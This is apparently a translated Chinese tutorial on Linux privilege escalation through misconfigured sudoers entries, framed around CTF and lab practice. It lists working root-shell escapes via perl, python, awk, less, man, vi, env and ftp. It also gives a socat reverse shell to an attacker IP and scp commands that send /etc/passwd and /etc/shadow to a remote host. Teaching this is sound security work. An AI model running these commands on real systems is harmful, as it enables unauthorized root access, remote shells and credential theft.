使用sudo进行Linux权限升级技巧
0x00 前言
在我们之前的文章中,我们讨论了如何使用SUID二进制文件和/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧”的方法。 在解决CTF挑战时,对于权限提升,我们始终通过执行sudo -l命令来检查任何用户执行任何文件或命令的root权限。 您可以阅读我们之前的文章,其中我们已应用此技巧进行权限提升。
0x01 sudoer基础
1.基本概念
在Linux/Unix中,/etc目录下的sudoers文件是sudo权限的配置文件。我们都知道sudo命令的强大功能,sudo这个词代表了超级用户权限。Sudoers文件是存储具有root权限的用户和组的文件,以root或其他用户身份运行部分或全部命令。请看下图:
当与sudo一起运行任何命令时,它需要root权限才能执行,Linux会检查sudoers文件中的特定用户名。并给出结论,特定的用户名是否在sudoers文件列表中,如果没有,那么就不能使用sudo命令运行命令或程序。根据sudo权限,root用户可以从ALL终端执行,充当所有用户:all group,并运行ALL命令。
2.Sudoer文件语法
如果(root用户)希望授予任何特定用户sudo权限,请输入visudo命令,该命令将打开sudoers文件进行编辑。在用户权限规范下,您将看到默认的root权限“root ALL =(ALL:ALL)ALL”,但在实际情况下,还提供了标记选项,这是可选的,如下图所示。
考虑下面的示例,我们要为用户raaz分配sudo权限,raaz访问终端并使用root权限运行copy命令。这里没有密码标签,这意味着不会为用户请求密码。
注意:
- (ALL:ALL)也可以表示为(ALL)
- 如果您找到(root)代替(ALL:ALL),则表示用户可以以root身份运行该命令
- 如果没有提及用户或组,则表示sudo默认为root用户
让我们深入了解实际情况。首先,创建一个不属于sudo组的用户。这里我们添加了用户“raaz”,其uid为1002,gid为1002,因此raaz是非root用户
0x02 分配root权限的方法
1.分配Root权限的传统方法
如果系统管理员希望授予用户raaz所有权限,那么他可以按照以下步骤在用户权限规范类别下添加用户raaz。
visudo raaz ALL=(ALL:ALL) ALL or raaz ALL=(ALL) ALL
(1) 生成root访问
另一方面,启动攻击主机,首先攻击目标系统,然后进入特权提升阶段。假设您成功地通过ssh登录到受害者的主机,并且想知道当前用户的sudo权限,然后执行下面的命令
sudo -l
在传统方法中,passwd选项在执行上述命令的同时来启用用户身份验证,并且可以使用nopasswd选项来禁用它。突出显示的文本表示当前用户被授权执行的所有命令。因此,我们通过执行命令获得了root访问权限。
sudo su
id
2.分配root权限的默认方法
如果系统管理员想要授予用户raaz执行所有命令和程序的root权限,那么他可以按照以下步骤在用户权限规范类别下添加用户raaz。
visudo raaz ALL=ALL or raaz ALL=(root) ALL
此处还启用了默认的passwd选项来进行身份验证。
(1).生成root访问
再次攻击目标系统,然后按照上述步骤进入权限提升阶段,并执行以下命令以查看sudo用户列表
sudo -l
在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行所有命令。。因此,我们可以通过执行更多的下行步骤来实现root访问
注意:在执行sudo-l命令时,上述两种方法都会要求用户密码进行身份验证,因为默认情况下启用了passwd选项。
0x03 提权技巧
1.允许二进制命令的Root权限
有时用户有权执行特定目录的任何文件或命令,如/bin/cp、/bin/cat或/usr/bin/find,这种类型的权限会导致root权限的权限提升,可以通过以下步骤来实现。
raaz ALL=(root) NOPASSWD: /usr/bin/find
注意:此处NOPASSWD选项表示在运行sudo -l命令时将不会为身份验证请求密码。
(1) 使用Find命令生成Root访问权限
再次攻击受害者的系统,然后进入特权升级阶段,执行下面的命令查看sudo用户列表。
sudo -l此时,您可以注意到突出显示的文本表示用户raaz可以通过find命令运行任何命令。因此,我们通过执行以下命令获得root访问权限。
2.允许二进制程序的root权限
有时,管理员会为特定用户分配精细的权限,以运行二进制程序,允许用户编辑任何系统文件,如/etc/passwd等。如果授权给用户,某些二进制程序可能会导致权限提升。在下面给出的命令中,我们为以下程序分配了sudo权限,该程序可以以root用户身份运行。raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi
(1) 使用Perl单命令生成shell
权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。
sudo -l
现在您可以看到突出显示的文本,显示用户raaz可以以root用户身份运行Perl语言程序或脚本。因此,我们通过执行Perl单命令获得root访问权限。
sudo perl -e 'exec "/bin/bash";' id
(2) 使用Python单命令生成shell
在攻击目标系统之后,然后如上所述那样进入特权提升阶段,执行以下命令以查看sudo用户列表sudo -l
此时,您可以看到突出显示的文本,显示用户raaz可以以root用户身份运行python语言程序或脚本。因此,我们通过执行python单命令获得root访问权限。
sudo python -c 'import pty;pty.spawn("/bin/bash")' id
(3) 使用Less命令生成shell
权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。
sudo -l
在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行less命令。因此,我们通过执行以下命令来获得root访问权限。
sudo less /etc/hosts
它将打开请求的系统文件进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。
您将获得root访问权限,如下图所示。
(4) 使用AWK单命令生成shell
在攻击受害者系统之后,目标系统会像上述那样进入特权提升阶段,执行以下命令以查看sudo用户列表
sudo -l
在此阶段,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行AWK命令。因此,我们通过执行以下命令来获得root访问权限。
sudo awk 'BEGIN {system("/bin/bash")}' id
(5) 使用Man命令生成shell
权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。
sudo -l
在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行man命令。因此,我们通过执行以下命令来获得root访问权限。
sudo man man
它将打开请求的系统文件进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。
您将获得root访问权限,如下图所示。
(6) 使用Vi编辑器生成shell
权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。
sudo -l
在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行vi命令。因此,我们通过执行以下命令来获得root访问权限。
sudo vi
因此,它将打开vi编辑器进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。就可以像上面那样使用less命令获得root权限。
您将获得root访问权限,如下图所示。
id
whoami
注意:对less,nano,man,vi和man的sudo的权限非常危险,因为它们允许用户编辑系统文件并导致权限提升。
3.允许Shell脚本的root权限
对于系统或程序调用,有最大的机会获得任何类型的脚本的权限提升,它可以是任何脚本(bash、php、python或c语言脚本)。假设您(系统管理员)想要对任何将在执行时提供bash shell的脚本赋予sudo权限。
例如,我们有一些脚本将在执行时提供root命令终端,在下图中,您可以看到我们已经编写了3个程序,通过使用不同的编程语言来获取bash shell,并将所有三个文件都保存在bin/script中,该三个文件为:asroot.py、asroot.sh、asroot.c(编译文件shell)
注意:在解决OSCP挑战时,您会发现某些脚本被作者隐藏,用于利用内核或root shell,并为任何特定用户设置sudo权限以执行该脚本。
现在允许raaz以root用户身份运行以上所有脚本,方法是在以下命令的帮助下编辑sudoers文件。
raaz ALL= (root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell
(1) 通过执行Bash脚本生成root shell
执行下面的权限提升命令以查看sudo用户列表。
sudo -l
突出显示的文本显示用户raaz可以作为root用户运行asroot.sh。因此,我们通过运行asroot.sh脚本获得root访问权限。
sudo /bin/script/asroot.sh
id
(2) 通过执行Python脚本生成root shell
执行下面的权限提升命令以查看sudo用户列表
sudo -l
此时,突出显示的文本显示用户raaz可以作为root用户运行asroot.py。因此,我们通过执行以下脚本获取了root访问权限。
sudo /bin/script/asroot.py
id
(3) 通过执行C语言脚本生成root shell
在攻击目标系统之后,执行下面的权限提升命令以查看sudo用户列表。
sudo -l
在这里,您可以看到突出显示的文本,表示用户raaz可以以root用户身份运行shell(asroot.c编译文件)。所以我们通过执行以下shell获得了root访问权限。
sudo /bin/script/shell
id
4.允许其他程序的sudo权限
正如上面所看到的那样,一些具有sudo权限的二进制程序有助于获得root访问权限。但除此之外,还有一些应用程序可以活得root访问权限,如果拥有sudo权限,如FTP或socat。在下面给出的命令中,我们为以下程序分配了sudo权限,该程序可以以root用户身份运行。
raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat
(1) 使用环境生成Shell
在权限提升阶段,执行以下命令查看sudo用户列表。
sudo -l
正如我们可以看到的用户:raaz对env、ftp、scp和socat拥有sudo权限,现在让我们逐个尝试通过它们获得root访问权限。
sudo env /bin/bash
whoami
(2) 使用FTP生成Shell
现在让我们尝试使用以下命令通过FTP获得root访问权限:
sudo ftp ! /bin/bash whoami or ! /bin/sh id whoami
(3) 使用Socat生成Shell
现在让我们尝试通过socat在以下命令的帮助下获得root访问权限。在攻击者的终端上执行以下命令,以使侦听器能够进行反向连接。
socat file:`tty`,raw,echo=0 tcp-listen:1234
然后在受害者的主机上运行以下命令,您将在攻击者计算机上获得root访问权限。
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234
(4) 通过SCP生成shell
正如我们所知,sudo权限对于scp是可用的,但不可能获得如上所示的bash shell目录,因为它是一种安全地在本地主机和远程主机之间移动任何文件的方法。因此,我们可以使用它来传输那些需要root权限来执行读/写操作的系统文件,例如/etc/passwd和/etc/shadow文件。
语法: scp SourceFile user@host:~/目录路径
sudo scp /etc/passwd aarti@192.168.1.105:~/ sudo scp /etc/shadow aarti@192.168.1.105:~/
现在让我们通过检查远程目录来确认,正如您看到的那样,我们在远程PC中成功地接收到了passwd和shadow文件。